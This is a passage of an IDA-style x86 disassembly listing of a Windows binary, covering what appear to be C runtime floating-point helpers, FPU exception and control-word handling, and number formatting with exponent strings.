		and	edi, 0FFFFFFFBh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_4213A4:				; CODE XREF: sub_42135F+2Dj
					; sub_42135F+33j
		test	al, bl
		jz	loc_42147E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_42147E
		push	8
		call	sub_42180C
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421456
		cmp	ecx, 400h
		jz	short loc_42142E
		cmp	ecx, 800h
		jz	short loc_421406
		cmp	ecx, eax
		jnz	loc_421476
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43C870
		fnstsw	ax
		sahf
		ja	short loc_4213FE
		fchs


loc_4213FE:				; CODE XREF: sub_42135F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421406:				; CODE XREF: sub_42135F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_42141E
		fld	dbl_43C860
		jmp	short loc_421426
; ---------------------------------------------------------------------------


loc_42141E:				; CODE XREF: sub_42135F+B5j
		fld	dbl_43C870
		fchs


loc_421426:				; CODE XREF: sub_42135F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_42142E:				; CODE XREF: sub_42135F+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_421446
		fld	dbl_43C870
		jmp	short loc_42144E
; ---------------------------------------------------------------------------


loc_421446:				; CODE XREF: sub_42135F+DDj
		fld	dbl_43C860
		fchs


loc_42144E:				; CODE XREF: sub_42135F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421456:				; CODE XREF: sub_42135F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43C860
		fnstsw	ax
		sahf
		ja	short loc_42146E
		fchs


loc_42146E:				; CODE XREF: sub_42135F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421474:				; CODE XREF: sub_42135F+A5j
					; sub_42135F+CDj ...
		fstp	qword ptr [ecx]


loc_421476:				; CODE XREF: sub_42135F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42147E:				; CODE XREF: sub_42135F+47j
					; sub_42135F+51j
		test	al, 2
		jz	loc_421554
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421554
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421499
		mov	esi, ebx


loc_421499:				; CODE XREF: sub_42135F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jz	loc_421542
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_42170B
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_4214E4
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421538
; ---------------------------------------------------------------------------


loc_4214E4:				; CODE XREF: sub_42135F+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jnb	short loc_4214F6
		mov	edx, ebx
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------


loc_4214F6:				; CODE XREF: sub_42135F+191j
		xor	edx, edx


loc_4214F8:				; CODE XREF: sub_42135F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_42152C
		sub	eax, ecx


loc_42150F:				; CODE XREF: sub_42135F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42151A
		test	esi, esi
		jnz	short loc_42151A
		mov	esi, ebx


loc_42151A:				; CODE XREF: sub_42135F+1B3j
					; sub_42135F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421526
		or	byte ptr [ebp+var_C+3],	80h


loc_421526:				; CODE XREF: sub_42135F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_42150F


loc_42152C:				; CODE XREF: sub_42135F+1ACj
		test	edx, edx
		jz	short loc_421538
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421538:				; CODE XREF: sub_42135F+183j
					; sub_42135F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421544
; ---------------------------------------------------------------------------


loc_421542:				; CODE XREF: sub_42135F+14Ej
		mov	esi, ebx


loc_421544:				; CODE XREF: sub_42135F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421551
		push	10h
		call	sub_42180C
		pop	ecx


loc_421551:				; CODE XREF: sub_42135F+1E8j
		and	edi, 0FFFFFFFDh


loc_421554:				; CODE XREF: sub_42135F+26j
					; sub_42135F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_42156B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_42156B
		push	20h
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_42156B:				; CODE XREF: sub_42135F+1F9j
					; sub_42135F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_42135F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421576(int,int,int,int,int,int,double,int)

sub_421576	proc near		; CODE XREF: sub_420FC1+2Bp
					; sub_421014+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421624
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_4215E1
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_4217E9
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42401D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4215DB
		push	esi
		call	sub_4215FE
		pop	ecx


loc_4215DB:				; CODE XREF: sub_421576+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4215E1:				; CODE XREF: sub_421576+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_4217E9
		push	[ebp+arg_0]
		call	sub_4215FE
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421576	endp


; =============== S U B	R O U T	I N E =======================================



sub_4215FE	proc near		; CODE XREF: sub_421014+7Dp
					; sub_421576+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421619
		jle	short locret_421623
		cmp	eax, 3
		jg	short locret_421623
		mov	dword_4DB278, 22h
		retn
; ---------------------------------------------------------------------------


loc_421619:				; CODE XREF: sub_4215FE+7j
		mov	dword_4DB278, 21h

locret_421623:				; CODE XREF: sub_4215FE+9j
					; sub_4215FE+Ej
		retn
sub_4215FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421624	proc near		; CODE XREF: sub_421576+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43C788


loc_42162B:				; CODE XREF: sub_421624+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421641
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43C860
		jl	short loc_42162B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421641:				; CODE XREF: sub_421624+Dj
		mov	eax, off_43C78C[ecx*8]
		retn
sub_421624	endp


; =============== S U B	R O U T	I N E =======================================



sub_421649	proc near		; CODE XREF: sub_421014+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421655
		push	5
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421655:				; CODE XREF: sub_421649+6j
		test	al, 8
		jz	short loc_42165D
		push	1
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_42165D:				; CODE XREF: sub_421649+Ej
		test	al, 4
		jz	short loc_421665
		push	2
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421665:				; CODE XREF: sub_421649+16j
		test	al, 1
		jz	short loc_42166D
		push	3


loc_42166B:				; CODE XREF: sub_421649+Aj
					; sub_421649+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: sub_421649+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421676(double)

sub_421676	proc near		; CODE XREF: sub_41C679:loc_41C6FFp
					; sub_41C7BF:loc_41C845p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421688(double,int)

sub_421688	proc near		; CODE XREF: sub_42170B+82p
					; sub_42170B+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421688	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216B1	proc near		; CODE XREF: sub_41C679+31p
					; sub_41C7BF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4216C8
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	1
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216C8:				; CODE XREF: sub_4216B1+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4216DA
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	2
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216DA:				; CODE XREF: sub_4216B1+11j
					; sub_4216B1+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_4216ED
		push	3
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216ED:				; CODE XREF: sub_4216B1+36j
		cmp	cx, 7FF0h
		jnz	short loc_421707
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421702
		cmp	[ebp+arg_0], edx
		jz	short loc_421707


loc_421702:				; CODE XREF: sub_4216B1+4Aj
		push	4


loc_421704:				; CODE XREF: sub_4216B1+15j
					; sub_4216B1+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421707:				; CODE XREF: sub_4216B1+41j
					; sub_4216B1+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4216B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42170B(double,int)

sub_42170B	proc near		; CODE XREF: sub_42135F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_42172B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4217C1
; ---------------------------------------------------------------------------


loc_42172B:				; CODE XREF: sub_42170B+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42179A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421743
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42179A


loc_421743:				; CODE XREF: sub_42170B+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_42175B
		push	1
		pop	eax
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_42175B:				; CODE XREF: sub_42170B+49j
		xor	eax, eax


loc_42175D:				; CODE XREF: sub_42170B+4Ej
					; sub_42170B+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_421776
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_421770
		or	dword ptr [ebp+arg_0+4], 1


loc_421770:				; CODE XREF: sub_42170B+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_421776:				; CODE XREF: sub_42170B+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_421784
		or	byte ptr [ebp+arg_0+7],	80h


loc_421784:				; CODE XREF: sub_42170B+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4217C1
; ---------------------------------------------------------------------------


loc_42179A:				; CODE XREF: sub_42170B+28j
					; sub_42170B+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_4217C1:				; CODE XREF: sub_42170B+1Bj
					; sub_42170B+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_42170B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217CC	proc near		; CODE XREF: sub_4210AC+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217DA	proc near		; CODE XREF: sub_4210AC+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217E9	proc near		; CODE XREF: sub_41C679+13p
					; sub_41C679+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_4217E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42180C	proc near		; CODE XREF: sub_42135F+1Dp
					; sub_42135F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421823
		fld	tbyte_43C888
		fistp	[ebp+arg_0]
		wait


loc_421823:				; CODE XREF: sub_42180C+Bj
		test	cl, 8
		jz	short loc_421838
		fstsw	ax
		fld	tbyte_43C888
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_421838:				; CODE XREF: sub_42180C+1Aj
		test	cl, 10h
		jz	short loc_421847
		fld	tbyte_43C894
		fstp	[ebp+var_8]
		wait


loc_421847:				; CODE XREF: sub_42180C+2Fj
		test	cl, 4
		jz	short loc_421855
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_421855:				; CODE XREF: sub_42180C+3Ej
		test	cl, 20h
		jz	short locret_421860
		fldpi
		fstp	[ebp+var_8]
		wait

locret_421860:				; CODE XREF: sub_42180C+4Cj
		leave
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421862	proc near		; CODE XREF: sub_41C748+Fp
		push	30000h
		push	10000h
		call	sub_424055
		pop	ecx
		pop	ecx
		retn
sub_421862	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421874	proc near		; CODE XREF: sub_4218B2:loc_4218D6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427890
		fstp	[ebp+var_8]
		fld	dbl_427888
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_427718
		fnstsw	ax
		sahf
		jbe	short loc_4218AE
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4218AE:				; CODE XREF: sub_421874+33j
		xor	eax, eax
		leave
		retn
sub_421874	endp


; =============== S U B	R O U T	I N E =======================================



sub_4218B2	proc near		; CODE XREF: sub_41C748+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 267047Ch
		test	eax, eax
		jz	short loc_4218D6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	near ptr 2690337h
		nop
		test	eax, eax
		jz	short loc_4218D6
		push	0
		call	eax ; sub_41C748
		retn
; ---------------------------------------------------------------------------


loc_4218D6:				; CODE XREF: sub_4218B2+Dj
					; sub_4218B2+1Dj
		jmp	sub_421874
sub_4218B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4218DB	proc near		; CODE XREF: sub_41F69F+3CBp
					; DATA XREF: sub_41C760+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41D74C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_42191B


loc_4218EF:				; CODE XREF: sub_4218DB+3Ej
		inc	esi
		cmp	dword_43C504, 1
		jle	short loc_421908
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_421917
; ---------------------------------------------------------------------------


loc_421908:				; CODE XREF: sub_4218DB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_421917:				; CODE XREF: sub_4218DB+2Bj
		test	eax, eax
		jnz	short loc_4218EF


loc_42191B:				; CODE XREF: sub_4218DB+12j
		mov	cl, byte_43C508
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_421926:				; CODE XREF: sub_4218DB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_421926
		pop	esi
		retn
sub_4218DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421935	proc near		; CODE XREF: sub_41F69F+3E2p
					; DATA XREF: sub_41C760+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43C508
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421951


loc_421945:				; CODE XREF: sub_421935+1Aj
		cmp	cl, dl
		jz	short loc_421951
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_421945


loc_421951:				; CODE XREF: sub_421935+Ej
					; sub_421935+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_421982


loc_421958:				; CODE XREF: sub_421935+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42196B
		cmp	cl, 65h
		jz	short loc_42196B
		cmp	cl, 45h
		jz	short loc_42196B
		inc	eax
		jmp	short loc_421958
; ---------------------------------------------------------------------------


loc_42196B:				; CODE XREF: sub_421935+27j
					; sub_421935+2Cj ...
		mov	ecx, eax


loc_42196D:				; CODE XREF: sub_421935+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42196D
		cmp	[eax], dl
		jnz	short loc_421978
		dec	eax


loc_421978:				; CODE XREF: sub_421935+40j
					; sub_421935+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_421978

locret_421982:				; CODE XREF: sub_421935+21j
		retn
sub_421935	endp


; =============== S U B	R O U T	I N E =======================================



sub_421983	proc near		; DATA XREF: sub_41C760+28o
					; ___:off_43C8B0o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jb	short loc_421998
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421998:				; CODE XREF: sub_421983+Fj
		xor	eax, eax
		retn
sub_421983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42199B	proc near		; CODE XREF: sub_420510+430p
					; DATA XREF: sub_41C760+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4219C4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424518
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4219C4:				; CODE XREF: sub_42199B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424545
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42199B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219D9	proc near		; CODE XREF: sub_421C56+17p
					; sub_421CA0+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DB310, 0
		push	ebx
		push	esi
		jz	short loc_421A0E
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DB30C
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421CF1
		pop	ecx
		pop	ecx
		jmp	short loc_421A46
; ---------------------------------------------------------------------------


loc_421A0E:				; CODE XREF: sub_4219D9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4245E9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424572
		add	esp, 14h


loc_421A46:				; CODE XREF: sub_4219D9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_421A52
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_421A52:				; CODE XREF: sub_4219D9+73j
		test	ebx, ebx
		jle	short loc_421A6A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43C508
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_421A6A:				; CODE XREF: sub_4219D9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DB310, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41BEB0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_421A91
		mov	byte ptr [ecx],	45h


loc_421A91:				; CODE XREF: sub_4219D9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_421AD6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_421AA5
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_421AA5:				; CODE XREF: sub_4219D9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_421ABC
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421ABC:				; CODE XREF: sub_4219D9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421AD3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421AD3:				; CODE XREF: sub_4219D9+E7j
		add	[ecx+1], bl


loc_421AD6:				; CODE XREF: sub_4219D9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4219D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ADD	proc near		; CODE XREF: sub_421C7D+13p
					; sub_421CA0+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DB310, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_421B18
		mov	eax, dword_4DB314
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DB30C
		cmp	eax, ebx
		jnz	short loc_421B48
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_421B48
; ---------------------------------------------------------------------------


loc_421B18:				; CODE XREF: sub_421ADD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4245E9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424572
		add	esp, 14h


loc_421B48:				; CODE XREF: sub_421ADD+22j
					; sub_421ADD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_421B56
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_421B56:				; CODE XREF: sub_421ADD+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_421B6D
		push	1
		push	edi
		call	sub_421CF1
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_421B6F
; ---------------------------------------------------------------------------


loc_421B6D:				; CODE XREF: sub_421ADD+7Ej
		add	edi, eax


loc_421B6F:				; CODE XREF: sub_421ADD+8Ej
		test	ebx, ebx
		jle	short loc_421BB4
		push	1
		push	edi
		call	sub_421CF1
		mov	al, byte_43C508
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421BB4
		cmp	byte_4DB310, 0
